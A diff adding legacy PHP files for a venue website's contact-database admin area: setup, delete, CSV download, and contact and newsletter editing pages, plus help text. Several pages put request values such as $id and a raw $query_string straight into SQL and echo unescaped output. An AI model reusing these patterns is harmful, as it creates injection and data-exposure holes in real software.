--- /dev/null
+Options +FollowSymLinks
+RewriteEngine On
+#RewriteBase /www.thelindy.com/
+RewriteRule .*-([0-9]*)/ index\.phtml?catid=$1
+RewriteRule site-map sitemap.php
--- /dev/null
+<?php
+/*
+ * GLM Standard Site Monitoring Target
+ *
+ *
+ */
+
+ // Set these parameters for each site
+
+$DB=1;
+
+switch ($DB) {
+ case 0:
+ echo "GLM_site_check:ACTIVE";
+ exit;
+ break;
+ case 1:
+ define( 'HOST', 'ds1.gaslightmedia.com' );
+ define( 'USER', 'nobody' );
+ define( 'DBNAME', 'thelindy' );
+ break;
+}
+
+ // End of parameters to set for each site
+
+include('/home/httpd/templates/Global_site_check.phtml')
+
+?>
+
--- /dev/null
+RewriteEngine Off
--- /dev/null
+<?
+//$Id: contact_setup.inc,v 1.1.1.1 2006/07/13 13:53:50 matrix Exp $
+if(!defined("ENTRIES_PER_PAGE"))
+ {
+ define("ENTRIES_PER_PAGE",10); // Entries per Page in list_contact.phtml
+ }
+define("CUSTOMER_TABLE","customer"); // name of customer table
+define("CONTACT_TABLE","contact"); // name of contact table
+define("TABLE",CONTACT_TABLE); // which table to use
+define("DATEFORMAT","US"); // date format (for edit_contact.phmtl)
+define("NEWSLETTER_PROTOTYPE","newsletter_template.html"); // date format (for edit_contact.phmtl)
+/*
+ setup the following in the setup.phtml (in root directory) file.
+defines:
+HTML_EMAIL = ON or OFF
+PRODUCTION_MODE = ON ,r OFF
+ */
+if(!defined("HTML_EMAIL"))
+ {
+ define("HTML_EMAIL","ON");
+ }
+if(!defined("PRODUCTION_MODE"))
+ {
+ define("PRODUCTION_MODE","ON");
+ }
+if(!defined("NEWSLETTER"))
+ {
+ define("NEWSLETTER",1); //bool- does the contact database mail out a newsletter?
+ }
+
+if(!function_exists("template_read"))
+ {
+ function template_read($template)
+ {
+ $fp = fopen($template, "r");
+ $contents = fread($fp,filesize($template));
+ fclose($fp);
+ if($contents)
+ {
+ return $contents;
+ }
+ else
+ {
+ return "";
+ }
+ }
+ }
+
+if(!function_exists("explode_template"))
+ {
+ function explode_template($template,$data)
+ {
+ $template = template_read($template);
+ $output = template_replacement($template,$data);
+ $output = wordwrap($output, 72);
+ return($output);
+
+ }
+ }
+
+if(!function_exists("template_replacement"))
+ {
+ function template_replacement($template,$fieldarr)
+ {
+ if(is_array($fieldarr))
+ {
+ foreach($fieldarr as $key=>$value)
+ {
+ $template = str_replace( "<!-- ".$key." -->", $value, $template );
+ }
+ }
+
+ return $template;
+ }
+ }
+if(!function_exists("add_image"))
+ {
+ function add_image($image,$align)
+ {
+ if($image != "")
+ {
+ return('<div style="margin:5px;float:'.$align.';"><img src="'.MIDSIZED.$image.'"></div>');
+ }
+ }
+ }
+
+
+// Navigation array
+$nav = array(
+ "Add Contact" => "edit_contact.phtml",
+ "List Contacts" => "list_contact.phtml",
+ "Saved Reports" => "list_query.phtml",
+ "Compose Email" => "edit_autoresponse.phtml?id=1",
+ "Preview Email" => "view_newsletter.phtml",
+ "Report Builder" => "index.phtml"
+ );
+$navWidth = 7;
+// Interest array comment this out if not in use
+/*
+ $int_array = array(
+ "capital_campaign" => "Capital Campaign Information",
+ "membership" => "Membership Information",
+ "class_registration" => "Class Registration",
+ "ticket_sales" => "Ticket Sales",
+ "no_preference" => "No Preference",
+ );
+ */
+
+function interest($field)
+ {
+ echo "<table><tr>";
+ $count = 0;
+ foreach($int_array as $key=>$value)
+ {
+ if($count==0)
+ echo "<td>";
+ echo "<input type=\"checkbox\" name=\"interest_$count\" value=\"$key\"";
+ if(strstr($field,$key))
+ echo " checked";
+ echo ">$value<br>";
+ if($count==5)
+ echo "</td><td>";
+ if($count==11)
+ echo "</td>";
+ $count++;
+ }
+ echo "</tr></TABLE>";
+ }
+
+// default query on create_date
+$c_date_from = contact_date_entry("","","","fc_month","fc_day","fc_year");
+$c_date_to = contact_date_entry("","","","tc_month","tc_day","tc_year");
+/* The following is for setting up the defines and arrays that are needed
+ * based on which table ( customer or contact ) in use
+ * formats for arrays
+ * $DB_fields[] = array( name =>"{FIELD NAME}", title => "{FIELD TITLE}", type => "{FIELD TYPE}")
+ * $fields["{FIELD_NAME}"] = "{FIELD TITLE}";
+ *
+ * must have these defines
+ * ID - The primary key
+ * SEQUENCE - sequence name
+ * WHERE - where clause
+ */
+if(TABLE==CUSTOMER_TABLE)
+ {
+ define("ID","cust_id");
+ define("MAILOK","mail_ok");
+ define("SEQUENCE","custkey");
+ define("WHERE","fname != '-Guest-'");
+ // $DB_fields are used for edit and updating contacts
+ $DB_fields[] = array( name => "cust_id", title => "cust_id", type => "hide");
+ $DB_fields[] = array( name => "purch_date",title => "Last Purchase Date", type => "static");
+ $DB_fields[] = array( name => "access_date",title => "Last Access Date",type => "static");
+ $DB_fields[] = array( name => "create_date",title => "Create Date",type => "static");
+ $DB_fields[] = array( name => "fname", title => "First Name", type => "text");
+ $DB_fields[] = array( name => "lname", title => "Last Name", type => "text");
+ $DB_fields[] = array( name => "add1", title => "Address 1", type => "text");
+ $DB_fields[] = array( name => "add2", title => "Address 2", type => "text");
+ $DB_fields[] = array( name => "city", title => "City", type => "text");
+ $DB_fields[] = array( name => "state", title => "State", type => "text");
+ $DB_fields[] = array( name => "zip", title => "Zip", type => "text");
+ $DB_fields[] = array( name => "email", title => "Email", type => "text");
+ $DB_fields[] = array( name => "phone", title => "Phone", type => "text");
+ $DB_fields[] = array( name => "fax", title => "Fax", type => "text");
+ $DB_fields[] = array( name => "org", title => "Org", type => "text");
+ $DB_fields[] = array( name => "referred_by",title => "Refered By", type => "text");
+ $DB_fields[] = array( name => "mail_ok", title => "Mail Ok?", type => "radio");
+ // $fields are used for building the query page
+ foreach($DB_fields as $key=>$value){
+ if($value['type'] == "text")
+ $fields[$value['name']] = $value['title'];
+ }
+ // date query fields
+ $p_date_from = contact_date_entry("","","","fp_month","fp_day","fp_year");
+ $p_date_to = contact_date_entry("","","","tp_month","tp_day","tp_year");
+ $a_date_from = contact_date_entry("","","","fa_month","fa_day","fa_year");
+ $a_date_to = contact_date_entry("","","","ta_month","ta_day","ta_year");
+ }
+else
+ {
+ define("ID","id");
+ define("MAILOK","mail_ok");
+ define("SEQUENCE","contact_id_seq");
+ define("WHERE",ID." IS NOT NULL");
+ // $DB_fields are used for edit and updating contacts
+ $DB_fields[] = array( name => "id", title => "id", type => "hide");
+ $DB_fields[] = array( name => "create_date",title => "Create Date",type => "static");
+ $DB_fields[] = array( name => "remote_addr",title => "Remot Address",type => "static");
+ $DB_fields[] = array( name => "user_agent",title => "User Agent",type => "static");
+ $DB_fields[] = array( name => "fname", title => "Name", type => "text");
+ $DB_fields[] = array( name => "title", title => "Title", type => "text");
+ $DB_fields[] = array( name => "company", title => "Company", type => "text");
+ //$DB_fields[] = array( name => "lname", title => "Last Name", type => "text");
+ $DB_fields[] = array( name => "address", title => "Address", type => "text");
+ $DB_fields[] = array( name => "address2", title => "Address 2", type => "text");
+ $DB_fields[] = array( name => "address3", title => "Address 3", type => "text");
+ $DB_fields[] = array( name => "city", title => "City", type => "text");
+ $DB_fields[] = array( name => "state", title => "State/Province/Region", type => "text");
+ $DB_fields[] = array( name => "zip", title => "Zip/Postal", type => "text");
+ $DB_fields[] = array( name => "country", title => "Country", type => "country");
+ $DB_fields[] = array( name => "phone", title => "Telephone Number", type => "text");
+ $DB_fields[] = array( name => "fax", title => "Fax Number", type => "text");
+ $DB_fields[] = array( name => "email", title => "Email Address", type => "text");
+ $DB_fields[] = array( name => "contact_method", title => "Preferred Contact Method", type => "text");
+ $DB_fields[] = array( name => "mail_ok", title => "Mail Ok?", type => "radio");
+ // $fields are used for building the query page
+ foreach($DB_fields as $key=>$value){
+ if($value['type'] == "text" || $value['type'] == "state")
+ $fields[$value['name']] = $value['title'];
+ }
+ }
+$data['bailout'] = "<br clear=\"all\"><br><hr>";
+$data['bailout'] .= "You are receiving this message because you have expressed an interest in ";
+$data['bailout'] .= "receiving specials and information from ".SITENAME.". If you do not ";
+$data['bailout'] .= "wish to receive future items of this nature, please reply to this e-mail ";
+$data['bailout'] .= "with the word \"CANCEL\" on the subject line. You will then be removed ";
+$data['bailout'] .= "from future mailings. ";
+$data['bailout'] .= "<a href=\"mailto:".OWNER_EMAIL."?subject=CANCEL\">".OWNER_EMAIL."</a> ";
+$data['bailout'] .= "<hr>";
+?>
--- /dev/null
+<?php
+//$Id: del_query.phtml,v 1.1.1.1 2006/07/13 13:53:50 matrix Exp $
+include("../../setup.phtml");
+include("contact_setup.inc");
+
+$qs = "DELETE
+ FROM query_db
+ WHERE id = $id";
+
+if(!db_auto_exec($qs)) html_error(DB_ERROR_MSG.$qs,1);
+html_header("Admin","Deleted","");
+?>
+<script lang="javascript">
+document.onload=window.opener.location.reload(1);
+</script>
+Query <?echo $id?> is Deleted
+<center><a href="" onClick="window.close();return(false);">Close This
+Window</a></center>
--- /dev/null
+<?
+/*****************************************************************************
+* File download
+* Author: Steve Sutton
+*
+* pass $query_string
+*
+*****************************************************************************/
+//$Id: download.phtml,v 1.1.1.1 2006/07/13 13:53:50 matrix Exp $
+include("../../setup.phtml");
+include("contact_setup.inc");
+if(!$dbd = db_connect())
+ die("Warning: FATAL! No Connection to DB_SERVER");
+
+$delimiter = str_replace("comma",",",$delimiter);
+$delimiter = str_replace("tab","\t",$delimiter);
+$delimiter = str_replace("csv",",",$delimiter);
+$delimiter = str_replace("pipe","|",$delimiter);
+
+if($query_string) {
+ /* Remove the old reports if they exsists */
+ if(is_file("report.csv"))
+ unlink("report.csv");
+ if(is_file("report.tar.gz"))
+ unlink("report.tar.gz");
+ if(is_file("report.zip"))
+ unlink("report.zip");
+
+ if(!$fp = fopen("report.csv","w"))
+ html_error("Cant open report",0);
+ $query_string = stripslashes($query_string);
+ $query_string = str_replace("SELECT ".ID.",","SELECT ",$query_string);
+
+ if(!$res = pg_Exec($dbd,$query_string))
+ echo "failed to ->".$query_string;
+ if(pg_numrows($res)>0) {
+ for($i=0;$i<pg_numrows($res);$i++) {
+ $result_string = "";
+ $row = pg_fetch_array($res,$i,PGSQL_ASSOC);
+ $contactedby = pg_fieldnum($res,'contactedby');
+ for($b=0;$b<count($row);$b++) {
+ $result_string .= pg_result($res,$i,$b)."|";
+ }
+ $result_string = substr($result_string,0,strlen($result_string)-1);
+ if($csv) {
+ $result_string = str_replace("|","\",\"",$result_string);
+ $result_string = "\"".$result_string."\"\n";
+ //echo $result_string;
+ }
+ else {
+ $result_string = str_replace("|",$delimiter,$result_string);
+ $result_string = $result_string."\n";
+ }
+ fputs($fp,$result_string,strlen($result_string));
+ }
+ }
+ if(!fclose($fp))
+ html_error("Cant close filepointer",0);
+ chmod("report.csv",0660);
+ $output = "report.csv";
+
+ if($file == "gz") {
+ $output = "report.tar.gz";
+ exec("tar -czvf report.tar.gz report.csv 2>&1",$result_array,$result);
+ if($result != 0){
+ echo $result_array[0];
+ exit;
+ }
+ chmod("report.tar.gz",0660);
+ }
+
+ if($file == "zip") {
+ $output = "report.zip";
+ exec("zip report report.csv 2>&1",$result_array,$result);
+ if($result != 0){
+ echo $result_array[0];
+ exit;
+ }
+ chmod("report.zip",0660);
+ }
+ if($file == "rpt") {
+ $output = "report.csv";
+ chmod("report.csv",0660);
+ }
+if(ini_get('zlib.output_compression'))
+{
+ ini_set('zlib.output_compression', 'Off');
+}
+ header("Content-Type: application/force-download\n");
+ /* Correction for the stupid MSIE thing */
+ if(strstr(getenv('HTTP_USER_AGENT'), 'MSIE'))
+ {
+ header("Content-Disposition: inline; filename=\"$output\"");
+ }
+ else
+ {
+ header("Content-Disposition: attachment; filename=\"$output\"");
+ }
+ //header("Location: $output");
+ $fn=fopen($output , "r");
+ fpassthru($fn);
+ @fclose($fn);
+ exit();
+}
+else {
+ header("Location: list_contact.phtml");
+}
+?>
--- /dev/null
+<?
+//$Id: edit_autoresponse.phtml,v 1.1.1.1 2006/07/13 13:53:50 matrix Exp $
+include("../../setup.phtml");
+include("contact_setup.inc");
+top("AutoReponse for Newsletter", HELP_BASE."response.phtml?key=edit+section");
+
+html_nav_table($nav,$navWidth);
+if(!$dbd = db_connect(CONN_STR)) html_error(DB_ERROR_MSG, 1);
+
+$qs = "SET DATESTYLE TO 'SQL, NONEUROPEAN'";
+
+if(!db_exec($dbd, $qs))
+ html_error(DB_ERROR_MSG, 1);
+
+$qs = "SELECT id,subject,response,image,image2,image3
+ FROM news_response
+ WHERE id = $id";
+
+if(!$res = db_exec($dbd, $qs)) html_error(DB_ERROR_MSG,1);
+
+
+echo "<table bgcolor=\"#c0c0c0\" cellspacing=0 cellpadding=4
+ summary=\"info table\" width=650 align=center border=0>";
+echo '
+ <script type="text/javascript" language="JavaScript">
+ _editor_url = "'.URL_BASE.'admin/htmlarea/";
+ </script>';
+echo '<script type="text/javascript" src="'.URL_BASE.'admin/htmlarea/htmlarea.js"></script>';
+echo '<script type="text/javascript" src="'.URL_BASE.'admin/htmlarea/lang/en.js"></script>';
+echo '<script type="text/javascript" src="'.URL_BASE.'admin/htmlarea/dialog.js"></script>';
+echo '<link type="text/css" rel=stylesheet href="'.URL_BASE.'admin/htmlarea/htmlarea.css">';
+?>
+
+<script src=<?echo URL_BASE."admin/verify.js"?>></script>
+<tr><td>
+<script language="javascript">
+<!--// closed source
+function mySubmit(o){
+ o.response.optional = false;
+ o.response.r = 'Description';
+ o.subject.optional = false;
+ o.subject.r = 'Subject';
+ return(verify(o))
+}
+
+//-->
+</script>
+<form id="form1" name="form1" enctype="multipart/form-data" action="update_autoresponse.phtml" method="POST"
+onSubmit="mySubmit(form1)"></td></tr>
+<?
+for($i = 0; $i < db_numrows($res); $i++) {
+ $row = db_fetch_array($res,$i, PGSQL_ASSOC);
+
+ if(!$row[id])
+ html_error(DB_ERROR_MSG,1);
+
+ foreach($row as $key=>$value) {
+ switch($key) {
+
+ case "id":
+ echo "<input type=\"hidden\" name=\"id\" value=\"$value\">";
+ break;
+
+ case "subject":
+ echo "<tr><td class=\"navtd\" align=\"right\">Subject:</td>";
+ text_box("subject",$value);
+ echo "</tr>";
+ break;
+
+ case "response":
+ echo "<tr><td class=\"navtd\" align=\"right\">Response:</td>";
+ echo '<td align="left"><textarea style="width:400px;" id="response" name="response" cols="50" rows="15">'.$value.'</textarea></td>';
+ //text_area("response",$value,8,60);
+ echo "</tr>";
+echo "<tr><td> </td><td>NOTE: Insert IMAGE1 IMAGE2 IMAGE3 etc. in the body of
+ your text where you want the images to appear.</td></tr>";
+ break;
+
+ case "image":
+ case "image2":
+ case "image3":
+ break;
+
+ default:
+ break;
+ }
+ }
+}
+
+echo "<script language=\"Javascript\">
+var config = new HTMLArea.Config();
+config.width = '570px';
+config.height = '200px';
+config.width = '570px';
+config.height = '200px';
+config.statusBar = false;
+config.toolbar = [
+[ 'fontname', 'space',
+ 'fontsize', 'space',
+ 'formatblock', 'space',
+ 'bold', 'italic', 'underline', 'separator',
+ 'copy', 'cut', 'paste', 'space', 'undo', 'redo' ],
+
+ [ 'justifyleft', 'justifycenter', 'justifyright', 'justifyfull', 'separator',
+ 'orderedlist', 'unorderedlist', 'outdent', 'indent', 'separator',
+ 'forecolor', 'separator',
+ 'inserthorizontalrule', 'createlink', 'htmlmode'
+ ]
+];
+HTMLArea.replace('response', config);
+</script>";
+
+ if ($row["image"] != "")
+ {
+ echo "<TR>"
+ ."<TD> </TD>"
+ ."<TD>"
+ ."<BR>"
+ ."<TABLE ALIGN=LEFT border=2 cellpadding=0 cellspacing=0><TD><IMG SRC=\"".THUMB."$row[image]\" ALIGN=LEFT HSPACE=0 VSPACE=0></TD></TABLE>"
+ ."<BR CLEAR=ALL><BR>"
+ ."<TABLE border=0 CELLPADDING=4 WIDTH=300><TR><TD>"
+ ."$FT1 This is the current image attached to this newsletter."
+ ."To change the image, select a new one by clicking the browse button below."
+ ."To delete the image without uploading a new one, select "
+ ."<B>Yes</B> below and click the <B>Update Category button</B>."
+ ."</TD></TR></TABLE>"
+ ."<P>"
+ ."</FONT>"
+ ."$TDFT Delete Item Image? Yes </FONT>"
+ ."<INPUT TYPE=RADIO NAME=\"delimage\" VALUE=\"TRUE\"> "
+ ."$TDFT No </FONT>"
+ ."<INPUT TYPE=RADIO NAME=\"delimage\" VALUE=\"FALSE\" CHECKED><BR>"
+ ."</TD>"
+ ."</TR>";
+ }
+
+?>
+<tr>
+ <td class="navtd" align="right">Image:</td>
+ <td align="left"><input type="file" name="image"></td>
+ <input type="hidden" name="oldimage" value="<?=$row[image]?>">
+</tr>
+<?
+ if ($row["image2"] != "")
+ {
+ echo "<TR>"
+ ."<TD> </TD>"
+ ."<TD>"
+ ."<BR>"
+ ."<TABLE ALIGN=LEFT border=2 cellpadding=0 cellspacing=0><TD><IMG SRC=\"".THUMB."$row[image2]\" ALIGN=LEFT HSPACE=0 VSPACE=0></TD></TABLE>"
+ ."<BR CLEAR=ALL><BR>"
+ ."<TABLE border=0 CELLPADDING=4 WIDTH=300><TR><TD>"
+ ."$FT1 This is the second image attached to this newsletter."
+ ."To change the image, select a new one by clicking the browse button below."
+ ."To delete the image without uploading a new one, select "
+ ."<B>Yes</B> below and click the <B>Update Category button</B>."
+ ."</TD></TR></TABLE>"
+ ."<P>"
+ ."</FONT>"
+ ."$TDFT Delete Item Image? Yes </FONT>"
+ ."<INPUT TYPE=RADIO NAME=\"delimage2\" VALUE=\"TRUE\"> "
+ ."$TDFT No </FONT>"
+ ."<INPUT TYPE=RADIO NAME=\"delimage2\" VALUE=\"FALSE\" CHECKED><BR>"
+ ."</TD>"
+ ."</TR>";
+ }
+
+?>
+<tr>
+ <td class="navtd" align="right">Image2:</td>
+ <td align="left"><input type="file" name="image2"></td>
+ <input type="hidden" name="oldimage2" value="<?=$row[image2]?>">
+</tr>
+<?
+ if ($row["image3"] != "")
+ {
+ echo "<TR>"
+ ."<TD> </TD>"
+ ."<TD>"
+ ."<BR>"
+ ."<TABLE ALIGN=LEFT border=2 cellpadding=0 cellspacing=0><TD><IMG SRC=\"".THUMB."$row[image3]\" ALIGN=LEFT HSPACE=0 VSPACE=0></TD></TABLE>"
+ ."<BR CLEAR=ALL><BR>"
+ ."<TABLE border=0 CELLPADDING=4 WIDTH=300><TR><TD>"
+ ."$FT1 This is the third image attached to this newsletter."
+ ."To change the image, select a new one by clicking the browse button below."
+ ."To delete the image without uploading a new one, select "
+ ."<B>Yes</B> below and click the <B>Update Category button</B>."
+ ."</TD></TR></TABLE>"
+ ."<P>"
+ ."</FONT>"
+ ."$TDFT Delete Item Image? Yes </FONT>"
+ ."<INPUT TYPE=RADIO NAME=\"delimage3\" VALUE=\"TRUE\"> "
+ ."$TDFT No </FONT>"
+ ."<INPUT TYPE=RADIO NAME=\"delimage3\" VALUE=\"FALSE\" CHECKED><BR>"
+ ."</TD>"
+ ."</TR>";
+ }
+
+?>
+<tr>
+ <td class="navtd" align="right">Image3:</td>
+ <td align="left"><input type="file" name="image3"></td>
+ <input type="hidden" name="oldimage3" value="<?=$row[image3]?>">
+</tr>
+<tr><td></td><td NOWRAP>
+<input type="submit" name="Command" value="Update">
+</form>
+<FORM METHOD="LINK" ACTION="view_newsletter.phtml?id=1">
+<INPUT TYPE="submit" VALUE="Preview">
+</FORM>
+</td></tr>
+</table>
+<?
+footer();
+?>
+
+
--- /dev/null
+<?
+//$Id: edit_contact.phtml,v 1.1.1.1 2006/07/13 13:53:50 matrix Exp $
+include("../../setup.phtml");
+include("contact_setup.inc");
+
+if(!$dbd = db_connect()) html_error(DB_ERROR_MSG, 1);
+
+if($id) { // If there's $id then editing
+ $qs = "SET DATESTYLE TO 'SQL,".DATEFORMAT."';";
+ $qs .= "SELECT ";
+ for($i=0;$i<count($DB_fields);$i++) {
+ $qs .= $DB_fields[$i][name];
+ if($i != count($DB_fields)-1)
+ $qs .= ",";
+ }
+ $qs .= " FROM ".TABLE."
+ WHERE ".ID." = $id";
+
+ if(!$res = db_exec($dbd, $qs))
+ html_error(DB_ERROR_MSG.$qs,0);
+ if(db_numrows($res)>0){
+ $row = db_fetch_array($res,0, PGSQL_ASSOC);
+ }
+ else{
+ die("No such record");
+ }
+}
+else { // else new entry
+ // Grab the array of name from $DB_fields and stick it into $row
+ // Any default values must be placed inside this loop
+ $row = array();
+ for($i=0;$i<count($DB_fields);$i++) {
+ if($DB_fields[$i][name] == "submitdate"){
+ $row[$DB_fields[$i][name]] = date("m/d/Y H:i:s T");
+ }
+ else{
+ $row[$DB_fields[$i][name]] = "";
+ }
+ }
+}
+
+top("Updatable Listings (Add/Edit)", "help/contact.phtml?key=Edit");
+
+html_nav_table($nav, $navWidth);
+echo "<table cellspacing=0 cellpadding=4 width=400 align=center border=0 bgcolor=\"#c0c0c0\">";
+?>
+
+<form action="update_contact.phtml" method="POST" enctype="multipart/form-data">
+<?
+echo "<tr><td colspan=2><hr noshade></td></tr>";
+
+foreach($DB_fields as $key=>$value) {
+ if($value[type] == "text") {
+ ?>
+ <tr><td class="navtd" align="right"><?echo $value[title]?></td>
+ <td><input name="<?echo $value[name]?>"
+ value="<?echo $row[$value[name]]?>" size=40></td>
+ </tr>
+ <?
+ }
+ elseif($value[type] == "static") {
+ ?>
+ <tr><td class="navtd" align="right"><?echo $value[title]?></td>
+ <td><?echo $row[$value[name]]?></td>
+ </tr>
+ <?
+ }
+ elseif($value[type] == "interest") {
+ ?>
+ <tr><td class="navtd" align="right"><?echo $value[title]?></td>
+ <td><?interest($row[$value[name]])?></td>
+ </tr>
+ <?
+ }
+ elseif($value[type] == "img") {
+ ?>
+ <tr></tr>
+ <?
+ echo "<input type=\"hidden\" name=\"old".$value[name]."\"
+ value=\"".$row[$value[name]]."\">";
+ if($row[$value[name]] != "") {
+ echo "<tr><td class=\"navtd2\" align=\"right\">Current Image:</td>";
+ echo "<td><img src=\"".MIDSIZED.$row[$value[name]]."\">
+ </td>
+ </tr>
+ <tr>
+ <td class=\"navtd2\" align=\"right\">Delete this image:</td>
+ <td>
+ <input type=\"radio\" name=\"delete".$value[name]."\" value=\"1\">Yes
+ <input type=\"radio\" name=\"delete".$value[name]."\" value=\"2\" CHECKED>No
+ </td>
+ </tr>";
+ }
+ echo "<tr><td class=\"navtd\" align=\"right\">New $value[title]:</td>";
+ echo "<td><input type=\"file\" name=\"".$value[name]."\"></td>";
+ echo "</tr>";
+ }
+ elseif($value[type] == "file") {
+ ?>
+ <tr></tr>
+ <?
+ echo "<input type=\"hidden\" name=\"old".$value[name]."\"
+ value=\"".$row[$value[name]]."\">";
+ if($row[$value[name]] != "") {
+ echo "<tr><td class=\"navtd2\" align=\"right\">Current File:</td>";
+ echo "<td>".$row[$value[name]]."
+ </td>
+ </tr>
+ <tr>
+ <td class=\"navtd2\" align=\"right\">Delete this File:</td>
+ <td>
+ <input type=\"radio\" name=\"delete".$value[name]."\" value=\"1\">Yes
+ <input type=\"radio\" name=\"delete".$value[name]."\" value=\"2\" CHECKED>No
+ </td>
+ </tr>";
+ }
+ echo "<tr><td class=\"navtd\" align=\"right\">New $value[title]:</td>";
+ echo "<td><input type=\"file\" name=\"".$value[name]."\"></td>";
+ echo "</tr>";
+ }
+ if($value[type] == "desc") {
+ if($value[name] == "description") {
+ echo "<tr><td colspan=2><hr noshade></td></tr>";
+ echo "<tr><th colspan=2>Description and Images</th></tr>";
+ }
+ echo "<tr><td class=\"navtd\" align=\"right\">$value[title]:</td>";
+ text_area("$value[name]",$row[$value[name]]);
+ echo "</tr>";
+ }
+ if($value[type] == "state") {
+ echo "<tr><td class=\"navtd\" align=\"right\">$value[title]:</td><td>";
+ echo build_picklist("$value[name]",$states_US,$row[$value[name]]);
+ //text_area("$value[name]",$row[$value[name]]);
+ echo "</td></tr>";
+ }elseif($value['type']=='country')
+ {
+ echo "<tr><td class=\"navtd\" align=\"right\">$value[title]:</td><td>";
+ echo build_picklist("$value[name]",$country_codes,$row[$value[name]]);
+ //text_area("$value[name]",$row[$value[name]]);
+ echo "</td></tr>";
+ }
+ elseif($value[type] == "hide") {
+ echo "<input type=\"hidden\" name=\"".$value[title]."\" value=\"".$row[$value[name]]."\">";
+ }
+ elseif($value[type] == "radio") {
+ echo "<tr><td class=\"navtd\" align=\"right\">$value[title]:</td>";
+ echo "<td><input type=\"radio\" name=\"".$value[name]."\" value=\"t\"";
+ if($row[$value[name]]=="t")
+ echo " checked";
+ echo ">Yes";
+ echo "<input type=\"radio\" name=\"".$value[name]."\" value=\"f\"";
+ if($row[$value[name]]!="t")
+ echo " checked";
+ echo ">No</td>";
+ echo "</tr>";
+ }
+}
+
+if(isset($id)) {
+?>
+<tr><td colspan=2 align=center>
+<input type="hidden" name="id" value="<?=$id?>">
+<input type="submit" name="Command" value="Update">
+<input type="submit" name="Command" value="Cancel">
+<input type="submit" name="Command" value="Delete" onClick="
+if(confirm('This will delete this Record!\n Are you sure?'))
+ return(true);
+else
+ return(false);
+">
+</td></tr>
+<?
+}
+else {
+ form_footer("Insert","",2);
+}
+echo "</td></tr></table>";
+
+footer();
+?>
--- /dev/null
+function reshow(object) {
+ artist = object.options[object.selectedIndex].text;
+ for (var i = document.track.names.length;i > 0;i--)
+ document.track.names.options[0] = null;
+ reloading = true;
+ showlinks();
+ document.track.names.options[0].selected = true;
+ return false;
+}
+
+function load(object) {
+ alert('Just testing: ' + object.options[object.selectedIndex].value);
+ //window.location.href = object.options[object.selectedIndex].value;
+ return false;
+}
+
+function showlinks() {
+ if (artist == 'Chris Rea') {
+ opt('cr/one.zip','The Road To Hell');
+ opt('cr/two.zip','Let\'s Dance');
+ }
+
+ if (artist == 'Annie Lennox') {
+ opt('al/why.zip','Why');
+ opt('al/wobg.zip','Walking on Broken Glass');
+ }
+
+ if (artist == 'Dina Carrol') {
+ opt('dc/track1.zip','Escaping');
+ opt('dc/track2.zip','Only Human');
+ }
+}
+
+function opt(href,text) {
+ if (reloading) {
+ var optionName = new Option(text, href, false, false)
+ var length = document.track.names.length;
+ document.track.names.options[length] = optionName;
+ }
+ else
+ document.write('<OPTION VALUE="',href,'">',text,'<\/OPTION>');
+}
--- /dev/null
+<HTML>
+<HEAD>
+<TITLE>Help</TITLE>
+</HEAD>
+<BODY BGCOLOR="#FFFFFF" BACKGROUND="../../help/helpbg.gif" TEXT="#000000" LINK="#FF0000" VLINK="#800000" ALINK="#FF00FF" BACKGROUND="?">
+<FONT FACE="ms sans serif,arial,helvetica" SIZE=2 COLOR="#444444">
+<H4 align="center">Contact Help</H4>
+<hr>
+<?
+switch ($key) {
+ case "search":
+ ?>
+<h4 align="center">Contact Database Search</h4>
+
+<P>
+In this page you will start to build your query to the contact database.
+</p>
+<p>
+<big><b>Search:</b></big>
+</p>
+<p>
+<b>Search records for:</b>
+</p>
+<p>Here is where you will enter any keywords to use in the search. You must
+enter in something in the "Search records for" box. You may use more than one
+word (ie.) Sam Field.</p>
+<p><font color=red>HINT:</font>To help search use wildcards!</p>
+<p>? optional space<br>
+* optional spaces<br>
++ at least one space
+. will match anything<br>
+</p>
+<p><font color=green>NOTE:</font>Leaving this fields blank will select all
+contacts. You can leave this blank and choose "Mail OK" true to get all
+contacts that allow emails.</p>
+<p><b>Search Where in fields:</b></p>
+<p>Tells the database to Search "Anywhere", "Beginning", or "Ending" of the
+fields to be searched.</p>
+<p><b>In Fields:</b></p>
+<p>Select from "In Fields" box. This determines what fields to look in for
+this search.</p>
+<p><font color=red>HINT</font>
+If you want to select more than one field to search in hold down the 'Ctrl' key while clicking on the selection to select or
+deselect it from the list.</p>
+<p><font color=red>HINT</font>
+You can use the "All" and "None" buttons to help you save time. This will
+select all or none of the fields in the boxes.</p>
+<p><b>Search Type:</b></p>
+<p>Select the type of search you want (ie.) an "Exact string" search will return
+only those fields which match the "Search records" for string exactly as compared
+to "Or" which will return any field that match any words you place into "Search
+records for"</p>
+<p><b>Case Sensitivity:</b></p>
+<p>This will turn "On" and "Off" the case sensitivity.
+(ie.)If you leave it "Off" and enter "bob" it will return anything like
+"bob","BOB","Bob","BOb","boB",or "BoB" turned "On" will match only "bob".</p>
+
+<p>
+<big><b>Output of records</b></big>
+</p>
+<p><b>Output Fields:</b></p>
+<p>Select from "Output Fields" box. This determines what fields will be in the
+output of this search.</p>
+<p><font color=red>HINT</font>
+You can use the "All" and "None" buttons to help you save time. This will
+select all or none of the fields in the boxes.</p>
+<p><font color=red>HINT</font>
+If you want to select more than
+one Output field hold down the 'Ctrl' key while clicking on the selection to select or
+deselect it from the list.</p>
+<p><b>File Output:</b></p>
+<p>Select from here if you wish to download a file with the results of this
+search. The file will built "On the Fly" so you can download it.</p>
+<p><font color=green>NOTE:</font>The text file is output as report.doc. This
+is only a text file.
+</p>
+<p><b>Delimiter:</b></p>
+<p>This determines what separates the fields in your file.</p>
+
+<?
+ break;
+
+ case "List":
+ ?>
+<h4 align="center">List Contacts</h4>
+<P>
+This page is for listing the results of your query. You can download files if
+you have selected a file type or edit and delete the contact found.
+</p>
+<p><b>[Edit]</b></p>
+<p>Link to contact edit page.</p>
+
+<p><b>[Delete]</b></p>
+<p>Link to Delete Contact.</p>
+
+<p><big><b>Download Files</b></big></p>
+<p>If you see this then there is a file you can download.
+Click on the file and you can download it.</p>
+<?
+ break;
+
+ case "Edit":
+ ?>
+<h4 align="center">Edit a Contact</h4>
+<P>
+This page is for editing and modifying an existing Contact in the database.
+When editing is complete, click on the "Submit Query" button. The database will
+be updated, and you will be directed back to the "List Contacts" page.
+</p>
+<p>
+
+<p>
+<b>Submit Query</b>
+</p>
+<p>When you have made the changes you want to the Contact,
+you can click "Submit Query." This will update the information about the
+Contact in the database.
+</p>
+<?
+ break;
+
+ case "Add":
+ ?>
+<h4 align="center">Add an Contact</h4>
+<P>
+This page is for Adding Contacts in the database.
